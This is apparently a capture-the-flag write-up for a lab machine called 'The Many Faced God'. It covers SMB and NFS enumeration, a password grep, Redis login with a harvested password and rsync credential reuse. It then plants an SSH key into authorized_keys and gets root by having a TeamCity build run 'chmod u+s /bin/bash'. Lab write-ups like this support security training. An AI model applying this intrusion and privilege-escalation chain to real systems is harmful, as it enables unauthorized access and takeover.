

The Many Faced God

Reconnaissance

Initial Scan

Overview: We start with a full TCP scan using aggressive detection to quickly map services.

```
nmap -sC -sV -p- -A -T5 <IP>
```




Figure 1: Nmap scan result revealing several open services, including SMB.

Findings

The scan reveals multiple open ports, most importantly **SMB**, which suggests potential avenues for enumeration or brute-forcing.

SMB Enumeration

Listing Shares

```
smbclient -L //<IP>
```




Figure 2: No password needed and we can clearly see accessible folders

Looking through the smb

```
smbclient //<IP>/shares
```

```
[Dec 02, 2025 - 14:28:11 (CET)] exegol-got /workspace # smbclient //10.80.151.67/shares
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Tue Feb  2 10:20:09 2021
..               D           0   Tue Feb  2 10:28:11 2021
temp             D           0   Sat Feb  6 12:45:10 2021
data             D           0   Tue Feb  2 10:27:33 2021

11268688 blocks of size 1024. 2949988 blocks available
smb: \> cd temp
smb: \temp\> ls
.                D           0   Sat Feb  6 12:45:10 2021
..               D           0   Tue Feb  2 10:20:09 2021
services.txt     N          36   Thu Nov 10 22:02:38 2022

11268688 blocks of size 1024. 2949988 blocks available
smb: \temp\>
```

Figure 3: Available directories inside shares

Findings

Look through temp and data thoroughly and you shall find your first flag, services.txt

```
smb: emp\> get services.txt
getting file emp\services.txt of size 36 as services.txt (0.3 KiloBytes/sec) (average 0.3
KiloBytes/sec)
smb: emp\> exit
[Dec 02, 2025 - 14:39:08 (CET)] exegol-got /workspace # ls
Desktop Documents Downloads Music Pictures Public services.txt Templates user.txt
Videos
[Dec 02, 2025 - 14:39:09 (CET)] exegol-got /workspace # cat services.txt
EPI{4_91Rl_H45_n0_N4M3_0R_d035_5H3}
```

Nothing else here I guess.

Nfs Shares

After making sure we didnt forget anything with the smb, we start exploring the Network File System shares. For this we will use "showmount". And beware if you are using exegol, you will need to mount outside of your docker.

```
[Dec 02, 2025 - 14:46:58 (CET)] exegol-got /workspace # showmount -e 10.80.151.67
Export list for 10.80.151.67:
/opt/conf *
```

So outside of your exegol.

```
mkdir /tmp/nfs_share
sudo mount -t nfs <IP>:/opt /tmp/nfs_share
```

This revealed many many directories and files, and since we are lazy, lets look for classic infos first using


```
grep -RniE "(pass|passwd|requirepass|pwd|password|token|secret|key)" /tmp/nfs_shares/
```

We stumble upon a redis.conf that has some interesting informations

```
requirepass "B65Hx562F@ggAZ@F"
```

So now we need to log into redis using

```
redis-cli -h <IP> -a B65Hx562F@ggAZ@F
```

A terminal window showing a Redis CLI session. The user connects to 10.80.151.67 with password B65Hx562F@ggAZ@F. A warning message is displayed. The user enters 'KEYS *' and receives a list of keys: 'authlist', 'internal flag', 'marketlist', 'int', and 'tmp'. Then, the user enters 'GET "internal flag"' and receives a base64-encoded string: 'EPI{pr0_7lp_571ck_7H3m_w17h_7H3_P01N7Y_3n0}'.

```
[Dec 02, 2025 - 15:08:23 (CET)] exegol-got /workspace # redis-cli -h 10.80.151.67 -a B65Hx562F@ggAZ@F
Warning: Using a password with '-' or '-' option on the command line interface may not be safe.
10.80.151.67:6379>
10.80.151.67:6379> KEYS *
1) "authlist"
2) "internal flag"
3) "marketlist"
4) "int"
5) "tmp"
10.80.151.67:6379> GET "internal flag"
"EPI{pr0_7lp_571ck_7H3m_w17h_7H3_P01N7Y_3n0}"
10.80.151.67:6379>
```

Figure 5: Second flag

Also as you can see we need to explore what is behind authlist

```
10.80.151.67:6379> lrange authlist 1 5
1) "QXV0aG9yaXphdGlvbiBmb3IgcN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNl"
2) "QXV0aG9yaXphdGlvbiBmb3IgcN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNl"
3) "QXV0aG9yaXphdGlvbiBmb3IgcN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNl"
10.80.151.67:6379>
```

This is obviously base64 so with our terminal we input

```
[Dec 02, 2025 - 15:18:44 (CET)] exegol-got /workspace # echo
"QXV0aG9yaXphdGlvbiBmb3IgcN5bmM6Ly9yc3luYy1jb25uZWNOQDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNl"
| base64 --decode
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
```

Exploiting rsync

Lets explore our new angle,

```
rsync -avz rsync://rsync-connect@10.80.151.67/files ~/workspace/
```

This will drop a bunch of files into our current directory, and with this we will find the third flag user.txt

```
[Dec 02, 2025 - 15:23:40 (CET)] exegol-got /workspace # cat user.txt
EPI{Th3_54Y1N9_9035_v4l4r_m0r9UL15_V4L4r_d0H43R12}
```

If you look close enough using `ls -la`, you also will find a `.ssh` directoy. To gain shell access you will need to generate and upload a ssh key.

Shell

First of all we need to generate a SSH key on our machine

```
ssh-keygen -t rsa
```

after this you'll need to give read and write permissions to the Owner(user)

```
chmod 600 keys.pub
```

And to upload our key we will use the rsync angle

```
[Dec 02, 2025 - 10:40:10 (CET)] exegol-got .ssh # rsync -hv keys.pub rsync://rsync-connect@10.80.151.67/files/jagen/.ssh/authorized_keys --info
Password:
keys.pub
sent 659 bytes received 35 bytes 277.60 bytes/sec
total size is 569 speedup is 0.82
[Dec 02, 2025 - 10:40:10 (CET)] exegol-got .ssh # rsync rsync://rsync-connect@10.80.151.67/files/jagen/.ssh/
Password:
dwxrwxr-x 4,096 2025/12/02 16:09:17 .
-rw-r--r-- 569 2025/12/02 16:09:17 authorized_keys
[Dec 02, 2025 - 10:40:10 (CET)] exegol-got .ssh # ssh -i keys jagen@10.80.151.67
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-196-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

172 updates can be applied immediately.
140 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

jagen@many-faced-god:~$
```

Figure 6: ssh connection

Privilege escalation

After having a look and launching lineaps, we had a few angles to escalate to root. We found in /TeamCity/logs/catalina.out a super user token.

```
jagen@many-faced-god:/TeamCity/logs$ cat catalina.out | tail
WARNING: Illegal reflective access by com.thoughtworks.xstream.core.util.Fields (file:/TeamCity/webapps/ROOT/WEB-INF/lib/xstream-1.4.11.1-cust
om.jar) to field java.util.TreeMap.comparator
WARNING: Please consider reporting this to the maintainers of com.thoughtworks.xstream.core.util.Fields
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

TeamCity initialized, server UUID: 61907dff-244c-4220-b252-31de83974909, URL: http://127.0.0.1:8111
TeamCity is running in professional mode
[TeamCity] Super user authentication token: 1249091524406046351 (use empty username with the token as the password to access the server)
[2025-12-02 14:28:44,188] WARN [f15e239'; Scheduled executor 5] - jetbrains.buildServer.UPDATE - Unable to check for TeamCity updates via
URL "https://www.jetbrains.com/teamcity/update.xml": org.apache.http.conn.HttpHostConnectException: Connect to www.jetbrains.com:443 [www.jet
brains.com/54.230.114.121, www.jetbrains.com/54.230.114.24, www.jetbrains.com/54.230.114.46, www.jetbrains.com/54.230.114.81] failed: Connecti
on timed out (Connection timed out) (enable debug to see stacktrace)
[2025-12-02 14:28:44,189] WARN [f15e239'; Scheduled executor 5] - jetbrains.buildServer.UPDATE - Error while checking new TeamCity version
: jetbrains.buildServer.updates.ServerUpdateException: Unable to check for updates via URL "https://www.jetbrains.com/teamcity/update.xml": Co
nnect to www.jetbrains.com:443 [www.jetbrains.com/54.230.114.121, www.jetbrains.com/54.230.114.24, www.jetbrains.com/54.230.114.46, www.jetbra
ins.com/54.230.114.81] failed: Connection timed out (Connection timed out) (enable debug to see stacktrace)
jagen@many-faced-god:/TeamCity/logs$
```

Figure 7: super user token

So now we know there is teamcity instance, we need to listen for services and we can see that there is indeed a teamcity instance on one of the ports. Now we need to forward it to access the web interface

```
jagen@many-faced-god:/TeamCity/logs$ ss -tno
State      Recv-Q    Send-Q      Local Address:Port      Peer Address:Port      timer:(on,244ms,0)
ESTAB      0          0             10.80.151.67:22          192.168.129.175:54076
ESTAB      0          0             [::ffff:127.0.0.1]:34503 [::ffff:127.0.0.1]:8111
CLOSE-WAIT 1          0             [::ffff:127.0.0.1]:35561 [::ffff:127.0.0.1]:8111
ESTAB      0          0             [::ffff:127.0.0.1]:8111 [::ffff:127.0.0.1]:34503
CLOSE-WAIT 1          0             [::ffff:127.0.0.1]:43339 [::ffff:127.0.0.1]:8111
CLOSE-WAIT 1          0             [::ffff:127.0.0.1]:52067 [::ffff:127.0.0.1]:8111
jagen@many-faced-god:/TeamCity/logs$
```

Figure 8: port 8111

So now we can access a Login page for teamcity, and we just need to use the informations we gained from catalina.out to login as super user.

The malicious project

This part is quite straight forward, we need to create a new project and configure a build script to grand root. This means if the build runs my script it will elevate my shell and give me root privileges. So we create a project, create a build configuration for it. Go to Edit configuration settings, Navigate on your right to build steps, Add build step, and in the new build step you choose Command line for the runner type and in the custom script, you just enter

```
chmod u+s /bin/bash
```

All you have to do now is go back to your ssh as jaqen and run the /bin/bash you just created, and it should give you root

Gaining root

```
/bin/bash -p
```

Congratulations you are now root and you just need to

```
whoami  
cd /root/  
cat root.txt
```